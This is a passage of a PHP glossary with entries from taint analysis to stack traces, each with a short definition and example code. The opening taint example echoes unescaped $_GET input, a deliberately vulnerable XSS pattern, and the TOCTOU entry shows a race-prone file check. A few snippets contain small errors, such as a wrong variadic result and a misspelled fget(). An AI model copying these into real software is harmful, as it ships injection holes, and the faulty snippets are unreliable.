There was a taint extension until PHP 8.0. It was not ported further.
<?php
$a = trim($_GET['a']);
$output = "Welcome, {$a} !!!";
echo $output;
//Warning: main() [function.echo]: Attempt to echo a string that might be tainted
?>
See Also
Related
- Security
- Injection
- Control Flow Analysis
- CRLF Injection
- Data Flow Analysis (DFA)
- LDAP Injection
- Symbolic Analysis
- Psalm
- Shell Injection
- Server-Side Request Forgery (SSRF)
- Stored XSS
Tarpit
A tar pit is a deliberate slowdown of abusive or unwanted requests to waste an attacker’s time and resources. It is related to the honeypot, but also slightly different.
See Also
Related
Task Runner
A task runner refers to a tool or framework that automates repetitive tasks, such as building, testing, and deploying PHP applications. It helps streamline development workflows by reducing manual effort and increasing efficiency.
Task runners provide a way to define and execute tasks or scripts in a predefined sequence, often using configuration files or scripts. These tasks can include various activities, such as compiling code, running tests, optimizing assets, generating documentation, and deploying the application to a server.
See Also
- Castor, a journey across the sea of task runners
- Being Productive With Task Runners
- Scotty: a beautiful SSH task runner
Related
Related packages
Task
A task is simply a unit of work. It is something that needs to be done.
A task usually as a well defined algorithm or method, and parameter and signature. It depends on little external information, and may be run at an arbitrary moment: although, it is expected to be run as soon as possible.
It is usually expected to take some time to complete.
Task are handled by a task manager, or a job queue. One process insert the tasks, secondary servers process the tasks and finally, one last process make the result of the task known.
Related
Related packages
Total Cost Of Ownership (TCO)
Total Cost of Ownership, also known as TCO, is a financial estimate that helps businesses and individuals calculate the direct and indirect costs associated with owning and operating software, hardware, equipment, or even a service, over its entire lifecycle.
- Initial Costs: purchase price, installation, setup, and training.
- Operating Costs: maintenance, repairs, upgrades, and support.
- Usage Costs: energy consumption, licensing fees, and consumables.
- Downtime Costs: lost productivity, troubleshooting, and opportunity costs.
- End-of-Life Costs: disposal, migration to new system, or replacement costs.
See Also
Related
TCP
TCP, which stands for Transmission Control Protocol, is one of the main protocols in the Internet Protocol IP suite. Together with IP, it forms the foundation for Internet communication. TCP is a connection-oriented protocol, meaning it establishes a reliable and secure connection between two devices before data is exchanged.
Key features of TCP include:
- Reliability: it ensures the reliable delivery of data by using acknowledgments and retransmission. When a device sends data over a TCP connection, it waits for an acknowledgment from the receiving device. If an acknowledgment is not received, the data is resent.
- Connection-oriented: before data transfer begins, a connection must be established between the sender and the receiver. This connection is maintained until the data transfer is complete, and then it is terminated.
- Flow control: it includes mechanisms for flow control, which helps manage the amount of data sent between devices to prevent congestion and ensure efficient communication.
- Error checking: it includes error-checking mechanisms to detect and retransmit lost or corrupted data. This contributes to the protocol’s reliability.
- Sequencing: it numbers each data packet so that the receiving device can reorder them and ensure that the data is delivered in the correct order.
TCP is commonly used for applications that require high reliability and accurate delivery of data, such as web browsing, file transfers, and email. It operates at the transport layer of the OSI model and works in conjunction with the Internet Protocol, which operates at the network layer. Together, TCP/IP provides a robust and standardized framework for communication over the Internet.
See Also
Related
Related packages
Tech Island
A tech island is an organisational behaviour where a team replicates tools, libraries, or infrastructure internally rather than depending on external ones. The goal is to reduce exposure to outside dependencies: third-party APIs, open-source libraries that may be abandoned, or cloud services that may change pricing or availability.
While this approach grants autonomy and control, it comes at the cost of reinventing the wheel: the internal replicas must be built, maintained, and kept up to date, diverting effort from the core product. Tech islands can drift from standards, accumulate hidden debt, and become a maintenance burden over time.
Tech island is distinct from a tech silo: an island deliberately avoids external tools, whereas a silo is a team that does not share its tools or knowledge with the rest of the organisation.
See Also
Related
Tech Silo
A tech silo is a situation where a team or department develops and operates its technology stack in isolation, without sharing tools, knowledge, or practices with the rest of the organisation. Each silo makes independent technology choices, leading to fragmentation: duplicated tooling, incompatible systems, and communication barriers between teams.
Tech silos typically emerge from organisational boundaries, poor communication, or historical accident. They slow down collaboration, complicate integration, and make cross-team work costly.
Breaking down tech silos usually requires deliberate effort: shared platforms, internal developer experience teams, common standards, and an engineering culture that values interoperability.
Tech silo is distinct from a tech island: a silo refers to lack of sharing inside the organisation, whereas an island deliberately avoids depending on tools outside it.
See Also
Related
Technical Reference
A technical reference is a type of documentation that describes the precise behaviour of a system’s components: functions, classes, configuration options, command-line flags, and API endpoints. Its purpose is accuracy and completeness, not narrative explanation.
Technical references are meant to be looked up rather than read linearly. A reader already knows what they want to do; they consult the reference to find the exact signature, allowed values, return type, or error conditions.
The PHP official manual is the canonical technical reference. Projects often complement it with generated API documentation produced by tools such as phpDocumentor or Doxygen.
See Also
Related
Telemetry
Telemetry refers to the automated collection and transmission of data about performance, behavior, and health of an application.
This data is typically sent to a monitoring or observability platform, allowing developers and operations teams to analyze application performance, detect issues, and optimize both code and infrastructure.
Telemetry can cover:
- Duration and time of execution
- Memory usage
- Error, warning and exceptions
- Database queries
- Remote calls
- Business metrics
Telemetry goals are to optimize performance, detect and fix errors, improve scalability and drive development with data.
Telemetry is implemented with Application Performance Monitoring tools, or APM, OpenTelemetry or log based approach.
See Also
Related
Tempest
Tempest is the framework that gets out of your way. With zero configuration and zero boilerplate, Tempest gives the architectural freedom to focus entirely on your business logic. Tempest is an MVC framework.
See Also
Related
Template Metaprogramming (TMP)
Template metaprogramming, or TMP, is a technique in which a language’s template or generics system is used to perform computations at compile time, producing specialised code as output. The canonical example is C++ templates: because template instantiation is Turing-complete, arbitrarily complex algorithms, such as factorial, Fibonacci, type-list manipulation, policy-based design, etc. can be evaluated entirely by the compiler, with the results embedded in the binary. Rust’s const generics and D’s CTFE, or compile-time function evaluation, extend the idea with explicit syntax and fewer sharp edges.
The key distinction from ordinary generics is that TMP uses the type-level computation machinery to generate specialised implementations, not merely to parameterise existing ones. Haskell’s type families and Scala’s implicit-resolution machinery are other instances of the same idea in functional and object-functional settings.
PHP does not support template metaprogramming. PHP has no template system, no compile-time generics, and no phase in which the PHP engine evaluates user-defined type-level computations before executing the program. The closest approximations available are:
- Userland code generation: scripts that generate specialised PHP class files, e.g., Doctrine’s proxy generator, running before the application starts.
- PHP attributes, PHP 8.0+: metadata attached to declarations and read at runtime by tools such as Doctrine ORM or Symfony’s DI container. Attributes drive code generation as a build step, not as a language-level compile-time facility.
- Static analysis plugins: some tools offer generics-like type annotations in docblocks,
@template,@psalm-template, allowing type checkers to enforce generic constraints. These are checked by external tools, not by PHP itself, and produce no runtime specialisation. - Runtime type enforcement: a typed collection class that checks
instanceofon every insertion approximates a generic container, but the enforcement happens at runtime.
<?php
// PHP has no compile-time generics. Runtime type enforcement is the alternative.
/**
* @template T of object
*/
final class TypedCollection {
/** @var list<T> */
private array $items = [];
/** @param class-string<T> $type */
public function __construct(private readonly string $type) {}
/** @param T $item */
public function add(mixed $item): void {
if (!($item instanceof $this->type)) {
throw new \TypeError("Expected {$this->type}, got " . get_debug_type($item));
}
$this->items[] = $item;
}
/** @return list<T> */
public function all(): array { return $this->items; }
}
// SCA understand the @template annotation and enforce T at analysis time.
// PHP itself enforces nothing until add() is called at runtime.
$dates = new TypedCollection(\DateTime::class);
$dates->add(new \DateTime()); // ok
$dates->add(new \stdClass()); // throws at runtime, not compile time
?>
See Also
Related
Template
A template is a preset document, filled with values in placeholders, to display the resulting data. This is also called a view.
PHP used to be known as a template engine. Nowadays, template engines are written with PHP and set up a specific set of instruction.
Templates may be produced in any file format, such as HTML, CSS, JavaScript, JSON, PDF, URL, Markdown, etc.
Template may be large: they are then broken down into smaller and reusable sub-templates.
There are many PHP template packages, such as Twig, Latte, Blade, smarty, etc.
<?php
// piece
echo "<h1>".$name."</h1>";
?>
See Also
Related
- View In Presentation
- HyperText Markup Language (HTML)
- CSS
- JavaScript Object Notation (JSON)
- Markdown
- Code Generator
- Framework
- Render
- Blade
- Twig
- View
- Zero-code
Related packages
Temporal Replay
Temporal replay is the technique of re-executing a recorded sequence of timestamped events, in their original order, to reconstruct the state a system had at any point in time, or to reproduce a past execution for debugging, testing, or auditing. It differs from a plain snapshot, which only captures a single state, in that it makes every intermediate state reachable, simply by stopping the replay at the desired timestamp.
Temporal replay is central to event-sourced systems, where the event store is the source of truth, and the current state is only ever a projection obtained by replaying events from the beginning, or from the last snapshot. It is also the mechanism behind time-travel debuggers, which record every step of a program’s execution so it can be replayed backwards and forwards, and behind chaos-engineering tools, which replay recorded production traffic against a new version of a service to compare its behavior.
Because temporal replay depends on determinism, replaying the same events the same way should produce the same state, side effects, such as sending an email or calling an external API, are usually recorded, or stubbed, rather than actually re-executed during a replay.
See Also
Related
- Event Sourcing
- Event Replay
- Time Travel
- Replay
- Snapshot
- Command Query Responsibility Segregation (CQRS)
Temporary Expression
A temporary expression is an expression which is used on the spot, and it is not stored in a variable, or a container for later reuse.
The storage in a variable confers certain features to the resulting value, while an anonymous expression cannot use them. For example, array_pop() extracts the last value in an array, but reduces that array by one, which makes no sense outside a variable.
<?php
// object x is created, assigned a new value to its 'p' property, then never stored anywhere.
(new x)->p = 2;
// x = 3 (constant assignation) would yield a syntax error
// on the other hand, x[3] is a temporary expression, used for reading, but not available for writing.
x[3] = 3;
// x is again a constant, and it may be an object since PHP 8.4
x->p = 4;
?>
See Also
Related
Temporary
Temporary describes resources, values, or storage that exist only for a bounded duration and are automatically discarded when that boundary is crossed. The boundary may be the end of a script execution, the end of a variable’s scope, or an explicit time-to-live.
PHP exposes several built-in mechanisms for temporary storage:
php://tmp: a read-write stream that lives in memory and spills to disk when data exceeds the memory limit. It is destroyed at the end of execution.php://memory: a purely in-memory read-write stream, never written to disk. Also destroyed at the end of execution.tmpfile(): creates a real temporary file on disk. The file descriptor is returned and the file is deleted automatically when the handle is closed or the script ends.tempnam(): generates a unique temporary filename in a given directory. Unliketmpfile(), the file is not deleted automatically; the caller is responsible for cleanup.SQLitein-memory database: openingSQLite3with the special name:memory:creates a fully functional relational database that vanishes when the connection is closed.- Variables: local variables are temporary by nature: they exist for the duration of the function or script that defines them and are released at the end of scope.
- Sessions: sessions store temporary per-user state across requests, but that state expires once the session is destroyed or times out.
- Cookies: a cookie without an explicit
ExpiresorMax-Ageattribute is a session cookie: the browser discards it when the session ends. - Cache entries: cached values are temporary by design, governed by a TTL after which they are invalidated and regenerated.
<?php
// Temporary in-memory stream
$stream = fopen('php://memory', 'r+');
fwrite($stream, 'hello');
rewind($stream);
echo stream_get_contents($stream); // hello
fclose($stream); // gone
// Temporary file on disk
$tmp = tmpfile();
fwrite($tmp, 'world');
fclose($tmp); // file deleted here
// Temporary in-memory SQLite database
$db = new SQLite3(':memory:');
$db->exec('CREATE TABLE t (v TEXT)');
$db->close(); // database gone
?>
See Also
Related
- php://tmp
- php://memory
- SQLite3
- Session
- Cookie
- Cache
- Time To Live (TTL)
- Variables
- Temporary Expression
Ternary Operator
The expression (expr1) ? (expr2) : (expr3) evaluates to expr2 if expr1 evaluates to true, and expr3 if expr1 evaluates to false.
The ternary operator is PHP’s only operator that takes three operands. It has existed since the earliest versions of PHP.
Nesting ternary expressions used to be left-associative by default, which often led to confusing and buggy code. PHP 7.4 deprecated nesting ternary expressions without explicit parentheses, and PHP 8.0 turned this into a compile-time error: each nested ternary must now be wrapped in parentheses to clarify the intended evaluation order.
The ternary operator is closely related to the short ternary operator ?:, which omits expr2 and returns expr1 itself when it is truthy, and to the null coalescing operator ??, which tests for null instead of truthiness.
The ternary operator doesn’t work with references: it only returns values, and the & operator leads to compilation errors.
<?php
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];
?>
See Also
Related
- Short Ternary Operator
- Coalesce Operator
- If Then Else
- Binary Operator
- Colon
- Operand
- Unary Operator
- Nesting
- References
- Compiler
- Operators
Test Data Provider
A test data provider is a mechanism or component that supplies the necessary data for executing test cases. Test data providers are particularly useful when a set of test cases needs to be executed with different input values or configurations. They help ensure that your tests cover a variety of scenarios and edge cases.
See Also
Related
Test Double
A test double is any object that stands in for a real dependency during a test. The name comes from stunt doubles: the object plays the role of the real one, so the code under test can run without it.
There are several kinds of test doubles:
- Dummy: passed around to satisfy a signature, but never used.
- Stub: returns fixed answers to calls.
- Spy: records how it was called, so the test can check it later.
- Fake: a working but simplified implementation, such as an in-memory repository.
- Mock: checks expectations on the calls it receives.
Test doubles keep tests fast, isolated and reproducible, because they do not depend on databases, networks or clocks.
See Also
Related
Related packages
Test-Driven Development
Test-driven development is a software development approach where tests are written before the code.
The TDD cycle typically follows:
- Write a failing test
- Write minimal code to make the test pass
- Refactor the code while keeping tests green
TDD promotes better code design, higher test coverage, and confidence in code changes.
See Also
Related
Test Framework
A test framework is a library or tool that provides the infrastructure for writing, organising, and running automated tests. It typically offers assertion helpers, double, test runners, fixtures, and reporting.
A test framework does not dictate what to test; it provides the mechanics to express and execute tests repeatably, integrate with CI pipelines, and produce machine-readable reports, such as JUnit XML, code coverage, etc.
<?php
// PHPUnit example
use PHPUnit\Framework\TestCase;
class MathTest extends TestCase {
public function testAdd(): void {
$this->assertSame(4, 2 + 2);
}
}
?>
Related
- Test
- PHPunit
- Continuous Integration (CI)
- Double
- Fixture
- Code Coverage
- Regression
- Test-Driven Development
- Property-Based Testing
- Red-Green-Refactor
- Test Impact Analysis
Test Impact Analysis
Test Impact Analysis, or TIA, is a technique that selects and runs only the tests affected by a given code change, instead of running the whole test suite. It relies on a dependency map between source code and tests, built from static analysis, coverage data, or call graphs, to determine which tests exercise the modified lines.
The main benefit is speed: on a large codebase, running the full test suite for every commit can take many minutes, while TIA may cut that down to seconds by focusing on the small subset of tests that could actually be broken by the change.
TIA is commonly built on top of code coverage information gathered during a previous full run: each line of source code is mapped to the tests that cover it, and a diff against the previous commit is used to compute the impacted set of tests. Some tools instead build a static call graph, which is faster but less precise, since it may miss dynamic behavior such as reflection or dynamic method calls.
TIA trades completeness for speed. Since the mapping may be stale, or miss indirect effects, it is usually paired with periodic full test runs, for instance nightly, or before a release, to catch anything the selective run may have missed.
See Also
Related
Test Pyramid
The Test Pyramid is a concept in software testing that represents the ideal distribution of different types of tests in a software testing strategy. It was popularized by Mike Cohn in his book Succeeding with Agile. The Test Pyramid is used to illustrate the recommended proportions of various levels of testing in an application, with the goal of achieving effective test coverage while keeping testing efforts manageable and efficient.
See Also
Related
Test
Tests are tools that monitor the behavior of a code. The code should produce the expected results that are provided in the tests.
There are many different types of tests:
- Unit test: close to the class level of the code
- Integration test: they check that components collaborate nicely
- Functional tests: close to the specifications and the business level
- Feature testing: close to the specifications and the business level
- End-to-end tests: they run the software from beginning to the end
- Performance tests: tests focusing on the behavior of the software under load
- Property-based tests: tests focusing on the satisfaction of properties
- Acceptance tests: the tests that the software must pass to be accepted by the end user
- Smoke tests: tests that quickly detect a problem in the software. They are the most obvious.
- Exploratory tests: when tests are used to check new behavior of the code
- Regression tests: tests that ensures that previous behaviors are still behaving the same
- Fuzzing: testing the software with random data
- Mutation testing: testing the software robustness by altering the code
Tests may be manual, when they are executed manually. Those are not recorded. Test may be automated, when they are executed by another piece of software.
PHP offers several testing framework, such as PHPunit, pest, simpletest.
Tests are often further automated in a Continuous Integration Pipeline.
See Also
- 3 Compelling Reasons For Developers To Write Tests
- Testing tips
- How to test procedural functions with PHPUnit
Related
- Feature Testing
- Code Coverage
- Integration Test
- Unit Test
- End To End Test
- PHPunit
- Quality
- Refactoring
- Clock
- Faker
- Snapshot
- Test Pyramid
- DevOps
- Edge Case
- Continuous Integration (CI)
- Continuous Delivery (CD)
- Fuzzing
- Property-Based Testing
- Mutation Testing
- Test Framework
- Build
- Regression
- Reliability
- Test-Driven Development
- Test Impact Analysis
- Acceptance Test
- Functional Test
- Red-Green-Refactor
Testable
A piece of code is testable when it may have related tests, that checks its behavior.
To make a code testable, the following features are useful:
- Dependency injection
- Programming to interface
- Single responsibility principle
- No global state
- No static methods
- No New in business logic
- Pure functions
- Deterministic functions
- No direct output
- No usage of
exit()
The golden rule: If it is not possible to write a test for it without setting up the whole world first, the code is not testable.
See Also
Related
- Exit
- Deterministic
- Single Responsability Principle (SRP)
- Static Method
- Static Property
- Business Logic
- Pure Function
- Direct Output
- Dependency Injection
- Program To Interface
- Maintenability
TestDox
TestDox, which stands for Test Documentation, is an output format for unit test frameworks, where the name of the tests, aka the methods, are converted into a human readable string.
PHPUnit is able to export to that format.
See Also
Related
Text
Text refers to data that is human-readable and composed of characters, such as letters, numbers, punctuation, according to a specific encoding, such as ASCII or UTF-8.
Text isn’t a built-in data type or a standard term. However, text generally refers to strings, even though PHP strings are able to manipulate text and binary data, and even some text is multi-byte, leading to binary characters.
It is also used in the context of files, where text files are translated, while binary files are read as is, without any transformation.
In security, plain text refers to data that is not protected by cryptography and may be directly read.
Text and binary are also mentioned in database, where columns may be text, with an extra set of functions, or binary, where the whole data is treated as non-modifiable.
See Also
Related
- fopen()
- String
- Multi-byte
- Plain Text
- Rich Text
- JavaScript Object Notation (JSON)
- Parquet
- Token Oriented Object Notation (TOON)
Thin Method
A thin method is an informal term used to describe a method that contains very little logic of its own and mostly delegates work to another method or object.
<?php
class Elephpant {
public function __construct(private Repository $repository,
private Logger $logger,
) {}
public function save(User $user): void
{
$this->logger->info('Saving user');
$this->repository->save($user);
}
}
?>
See Also
Related
Thin
Thin is an informal qualifier applied to a class that takes very few responsibilities. It receives input, calls one collaborator, and returns output. It contains no business logic of its own.
A thin controller delegates all domain work to services, repositories, or domain objects. This makes it trivially testable and easy to replace.
The term is often used in the phrase thin controllers, fat models, which is a common recommendation in MVC frameworks.
The opposite is a fat class. Taken to the extreme, a thin class becomes a mere pass-through: at that point it may be unnecessary altogether.
<?php
// Thin controller example
class ArticleController {
public function __construct(private ArticleService $articles) {}
public function show(int $id): Response {
return response()->json(
$this->articles->findOrFail($id)
);
}
}
?>
See Also
Related
Third-Party API
A third-party API is an interface offered by a service that the application does not own or control, such as a payment provider, a mail service or a weather service. The application calls it over HTTP and depends on its availability, its rules and its rate limits.
Integrating a third-party API has several risks: the service can be down, slow, or change its response format; it can impose rate limits or quotas; and it can require credentials that must be stored safely.
Good practice is to wrap the API behind a small class of the application’s own, so the rest of the code does not depend on the vendor. This wrapper can be replaced by a test double in tests, and it is the place to handle retries, timeouts and malformed responses.
See Also
Related
- Application Programming Interface (API)
- Hyper Text Transfer Protocol (HTTP)
- Rate Limiting
- Retry
- Timeout
- Malformed Response Body
- Mocking
Thread
A thread is a set of instructions, designed to be executed independently from the parent process.
PHP supports threads with extensions, such as the pthreads extension. It also supports a thread safe compilation version: it allows PHP to be used with threaded web servers.
See Also
Related
Three Dots
Three dots, is an operator with several usages and names.
- Variadic, to make the last parameter collect all arguments in an array
- Spread, to expand elements of an array into arguments positions
- Spread in array, to merge several arrays in one
- Closure creator, when used standalone in a methodcall.
The various features of this operator were introduced in different PHP versions.
<?php
$a = [2, 3];
// equivalent to [1, 2, 3], or array_merge([1], $a);
$array = [1, ...$a];
// spread operator, in function call
// same as trumpet(0, 1, 2, 3);
trumpet(0, ...$array);
// variadic argument (the last one)
function trumpet($special, ...$others) {
// with the above call
// $special === 0
// $others === [1, 2, 3, 4]
}
// PHP 8.1
$closure = strlen(...);
echo $closure('Ab'); // display 2, by calling strlen
?>
See Also
Related
Throughput
Throughput is the number of operations a system can process per unit of time. It is typically expressed as requests per second or RPS, or transactions per second or TPS. It is a primary measure of a system’s capacity.
Throughput and latency are related but distinct. Latency is the time for a single operation to complete; throughput is how many operations complete per second. A system can have low latency under low load but low throughput if it cannot handle many concurrent requests. Maximising both simultaneously requires scaling horizontally, reducing blocking operations, and eliminating bottlenecks.
Throughput is limited by the PHP-FPM worker pool, since each worker handles one request at a time, database connection pools, and I/O blocking. Increasing throughput involves: adding FPM workers or servers, using a read replica to offload reads, caching expensive computations, using queues to defer work, and adopting async runtimes, like Swoole, RoadRunner, FrankenPHP, etc. that serve multiple requests per worker.
Tools for measuring PHP throughput include Apache Bench ab, wrk, k6, and Blackfire.
<?php
// PHP-FPM throughput is bounded by pm.max_children in php-fpm.conf
// Each worker handles one request at a time (blocking model)
// Throughput ≈ (workers × 1000) / avg_request_time_ms requests/second
// Example: 100 workers, avg response 50ms → ~2,000 RPS theoretical max
// Async runtime (Swoole) removes the one-request-per-worker limit:
$server = new Swoole\HTTP\Server('0.0.0.0', 9501);
$server->set(['worker_num' => 4]);
$server->on('request', function ($req, $res) {
// Coroutine-based: each worker handles many concurrent requests
Swoole\Coroutine\System::sleep(0.05); // 50ms non-blocking sleep
$res->end('Hello!');
});
$server->start();
?>
See Also
Related
throw
Throw is the keyword which raises an exception.
When an exception is thrown, the normal flow of the program is interrupted, and PHP starts looking for an exception handler to catch and handle the exception.
<?php
try{
throw new Exception('Error');
} catch (\Exception $e) {
print 'Warning : error was identified!';
}
?>
See Also
Related
- Try-catch
- Exception
- ArgumentCountError
- ArithmeticError Error
- Error
- Chaining Exceptions
- mysqli_sql_exception
- PHP Predefined Exception
- Jump
- Method Compatibility
- Return Value
Throwable
Throwable is a PHP native interface, which is required for any object to be used with thrown, such as Exception and Error.
This interface may be used with catch clauses, to catch everything that is thrown. Yet, this interface cannot be implemented directly. It should be acquired by extending Exception: extending Error should be avoided.
<?php
class elephpant extends \Exception implements \Throwable {}
throw new Elephpant();
?>
See Also
Related
Tick
Ticks are events that occur for a group of statements, executed by PHP.
Ticks are started within the declare block.
Ticks are deprecated since PHP 5.3. They might entirely disappear in version 9.0.
<?php
declare(ticks=1);
// A function called on each tick event
function tick_handler()
{
echo 'tick_handler() called'.PHP_EOL;
}
register_tick_function('tick_handler'); // causes a tick event
$a = 1; // causes a tick event
if ($a > 0) {
$a += 2; // causes a tick event
print($a); // causes a tick event
}
?>
See Also
Related
Tilde ~
The tilde ~ is an operator and a wildcard.
~is the binary not operator~is used in composer configuration to define a minimum version.
<?php
$a = 3; // 3
$b = ~$a; // -4
?>
See Also
Related
Time Travel
Time travel debugging is a technique in software development that allows the program to step backward as well as forward through its execution path.
See Also
- Event Sourcing is like Time traveling
- Mastering CQRS & Event Sourcing: Architecting Scalable, Resilient Systems
Related
Timeout
A timeout is a maximum duration allowed for an operation, typically network I/O such as a database query, an HTTP request, or a socket read, before it is aborted and treated as a failure instead of being left to block indefinitely. Without a timeout, a single slow or unresponsive dependency can hold a worker, a thread, or an event loop tick hostage, exhausting the pool and taking down the whole application even though the failure originated in one dependency.
Most HTTP clients distinguish several kinds of timeout: a connect timeout, bounding how long establishing the TCP/TLS connection may take, and a read, or total, timeout, bounding how long the client waits for the response once the connection is open. Good defaults are set from the dependency’s observed in 95 or 99 percentile latency, not from a guess, and are revisited as that latency drifts.
Timeouts are configured differently depending on the layer: the default_socket_timeout directive and the timeout stream context option affect native stream wrappers such as http:// and fopen(); cURL exposes CURLOPT_CONNECTTIMEOUT and CURLOPT_TIMEOUT; Guzzle and the Symfony HttpClient expose connect_timeout/timeout, connectTimeout()/timeout() in Laravel’s HTTP client, as first-class options; and set_time_limit() bounds the whole script rather than a single call.
A timeout only bounds one call. When an operation is retried, or spans several downstream calls, the sum of their timeouts can still exceed what the caller is willing to wait for; that broader, end-to-end budget is a deadline.
<?php
// Guzzle: connect + total timeout, in seconds
$client = new \GuzzleHttp\Client([
'connect_timeout' => 0.3, // 300 ms to establish the connection
'timeout' => 1.5, // 1.5 s for the whole request
]);
// Symfony HttpClient
$client = HttpClient::create([
'timeout' => 1.5, // wait time for a response chunk
'max_duration' => 1.5, // hard cap on the whole request
]);
?>
See Also
- Guzzle: Request Options - timeouts
- Symfony HttpClient: timeouts
- Resilience Patterns in PHP: Timeouts, Retries with Jitter, Circuit Breakers, and Bulkheads
Related
- Resilience
- Deadline
- Retry
- Backoff
- Circuit Breaker
- Bulkhead
- http://
- Client URL (CURL)
- Availability
- Connection Pool
- Duration
- Fault Isolation
- Retry-After Header
- Third-Party API
Related packages
Timing Attack
A timing attack is a type of side-channel attack where an attacker exploits variations in the time it takes for a system to perform operations to infer secret information. Instead of directly breaking cryptographic algorithms, the attacker analyzes how long a system takes to respond to different inputs, revealing clues about the internal state or data.
Timing attacks may be mitigated by using the hash_equals() function, instead of comparing values with === or ==.
The attack relies on trying various strings, and detecting when the comparison fails early or late to infer which part of the string is valid or not.
See Also
- PHP Vulnerabilities: Assessment, Prevention, and Mitigation
- Timing Attack in Laravel (2022)
- The Clock That Cracks Passwords
Related
Transport Layer Security (TLS)
TLS, the Transport Layer Security is a cryptographic protocol designed to provide communications security over a computer network and on the Web. TLS is often related to HTTPS, for secured transmission with the HTTP protocol. It used to be based on SSL.
TLS is a PHP context for sockets, and share the configuration options with SSL.
<?php
$context = stream_context_create( ['tls' => ['local_cert'=> $certificate_path], ]);
if ($fp = stream_socket_client('tlsv1.2://'.$host.':'.$port,
$errno,
$errstr,
30,
STREAM_CLIENT_CONNECT,
$context,
)) {
fwrite($fp, "\n");
} else {
echo "Error: $errno - $errstr\n";
}
?>
See Also
Related
Time Of Check To Time Of Use (TOCTOU)
TOCTOU, which stands for Time Of Check To Time Of Use, is a class of bug where there is a time interval between checking a resource and then using it. This interval may be used by an attacker to replace the checked resource, and fool the code.
<?php
function trumpet($file) {
// Checking is the file exists
if (!file_exists($file)) {
return false;
}
$fp = fopen($file, 'r');
// $fp should be available, because it was checked just before
// The TOCTOU is here
$string = fget($fp, 1000);
}
?>
See Also
Related
TODO
TODO is a conventional comment marker used in source code to flag unfinished work, known limitations, or planned improvements. It is not a PHP language feature, but a widely adopted convention recognized by IDE, static analyzers, and code-review tools.
Common variants include FIXME, for broken code that must be repaired, HACK, for a workaround that should be replaced, and XXX, a warning that the code is dangerous or unclear.
Static analyzers can locate TODO comments in a codebase and report them as technical debt. Leaving TODO comments in production code is generally discouraged unless they are tied to a tracked issue.
<?php
// TODO: replace this with a proper caching layer
function getUser(int $id): array
{
// FIXME: this query is missing an index on user_id
return $pdo->query("SELECT * FROM users WHERE id = $id")->fetch();
}
// HACK: upstream library does not handle null, remove after upgrading to v3
$value = $result ?? '';
// XXX: this block mutates global state; refactor before next release
global $config;
$config['debug'] = true;
?>
See Also
Related
Token
A PHP token is the smallest unit of code that has meaning in the language. When the source code is parsed, it is broken down into tokens before being executed. Tokens include keywords, variables, constants, operators, and other syntactic elements.
Tokens of a specific code are accessible via the function token_get_all().
<?php
print_r(token_get_all("<?php phpinfo()"));
/**
Array
(
[0] => Array
(
[0] => 389
[1] => <?php
[2] => 1
)
[1] => Array
(
[0] => 262
[1] => phpinfo
[2] => 1
)
[2] => (
[3] => )
)
*/
?>
See Also
Related
- Abstract Syntactic Tree (AST)
- Curly Brackets
- Single Sign On (SSO)
- Tokenizer
- Whitespace
- JSON Web Token (JWT)
- OAuth
- Homoiconicity
- Hygienic Macro
- Lexical Analysis
- Macro
Tokenizer
The PHP Tokenizer is a built-in extension that breaks down PHP source code into its fundamental components called tokens. This lexical analysis step is the first phase of PHP’s compilation pipeline.
The tokenizer converts raw PHP source code into a sequence of tokens such as T_VARIABLE, T_STRING, T_FUNCTION, T_CLASS, T_WHITESPACE, T_COMMENT, and many others. Each token represents a meaningful unit of the language.
Key use cases for the tokenizer:
- Static analysis tools:
PHPStan,Psalm,Mago, and other analyzers use tokenization to parse code without executing it - Code formatting: PHP-CS-Fixer and similar tools rely on tokens to understand and transform code structure
- Syntax highlighting: IDE and editors tokenize code for real-time highlighting
- Code transformation: refactoring tools use token streams to safely rewrite code while preserving structure
- Linting: syntax checkers detect errors by analyzing token sequences
PHP provides token_get_all() to obtain a token array from source code, and the token_name() function to map token IDs to human-readable names. The PhpToken class offers an object-oriented interface with methods like is(), id(), and text() for more convenient token manipulation.
The tokenizer handles PHP’s full syntax including heredocs, nowdocs, attributes, and nested structures, producing a flat token stream that can be traversed sequentially.
<?php
// Tokenizing PHP source code
$code = '<?php function hello(string $name): string { return "Hi " . $name; }';
$tokens = token_get_all($code);
foreach ($tokens as $token) {
if (is_array($token)) {
echo token_name($token[0]) . ' => ' . var_export($token[1], true) . "\n";
} else {
echo 'LITERAL => ' . var_export($token, true) . "\n";
}
}
// Using PhpToken class (PHP 8.0+)
$tokens = PhpToken::getAll($code);
foreach ($tokens as $token) {
if ($token->is(T_FUNCTION)) {
echo 'Found function at position ' . $token->line . "\n";
}
}
?>
See Also
Related
- Token
- Phptoken
- Parser
- Abstract Syntactic Tree (AST)
- Lexical Analysis
- Compiler
- Syntax
- Linting
- Reflection
- Code Formatter
- Static Code Analysis (SCA)
Tom’s Obvious Minimal Language (TOML)
TOML stands for Tom's Obvious, Minimal Language.
It’s a configuration file format designed to be human-readable, unambiguous, easy to parse and minimal but expressive.
TOML is considered as a cleaner, stricter alternative to INI, and more readable than JSON for configuration files.
See Also
Related
Related packages
Tool
A tool in the PHP ecosystem refers to any standalone application, script, or library that assists developers during the software development lifecycle. Tools are usually run from the command line and support activities such as static analysis, code formatting, testing, dependency management, profiling, deployment, and documentation generation.
<?php
// Example: running a tool programmatically via Symfony Process
use Symfony\Component\Process\Process;
$process = new Process(['composer', 'update']);
$process->run();
if (!$process->isSuccessful()) {
echo $process->getErrorOutput();
}
?>
See Also
Related
- Composer
- Command Line Interface (CLI)
- Analysis
- Linting
- DevOps
- Continuous Integration (CI)
- Static Code Analysis (SCA)
- Model Context Protocol (MCP)
- Debugger
- Software Development Kit (SDK)
Token Oriented Object Notation (TOON)
TOON, which stands for Token Oriented Object Notation, is a compact, human-readable encoding of the JSON data model that minimizes tokens and makes structure easy for models to follow. It’s intended for LLM input as a drop-in, lossless representation of JSON data.
<?php
// example from https://github.com/toon-format/toon
$toon = <<<TOON
context:
task: Our favorite hikes together
location: Boulder
season: spring_2025
friends[3]: ana,luis,sam
hikes[3]{id,name,distanceKm,elevationGain,companion,wasSunny}:
1,Blue Lake Trail,7.5,320,ana,true
2,Ridge Overlook,9.2,540,luis,false
3,Wildflower Loop,5.1,180,sam,true
TOON;
?>
See Also
Related
Related packages
Trace
A trace is the list of called functions during an execution. It lists all the code that was executed, and helps with debugging.
A trace is automatically calculated with an exception, or the function debug_backtrace(). This shows the stack trace at the error point.
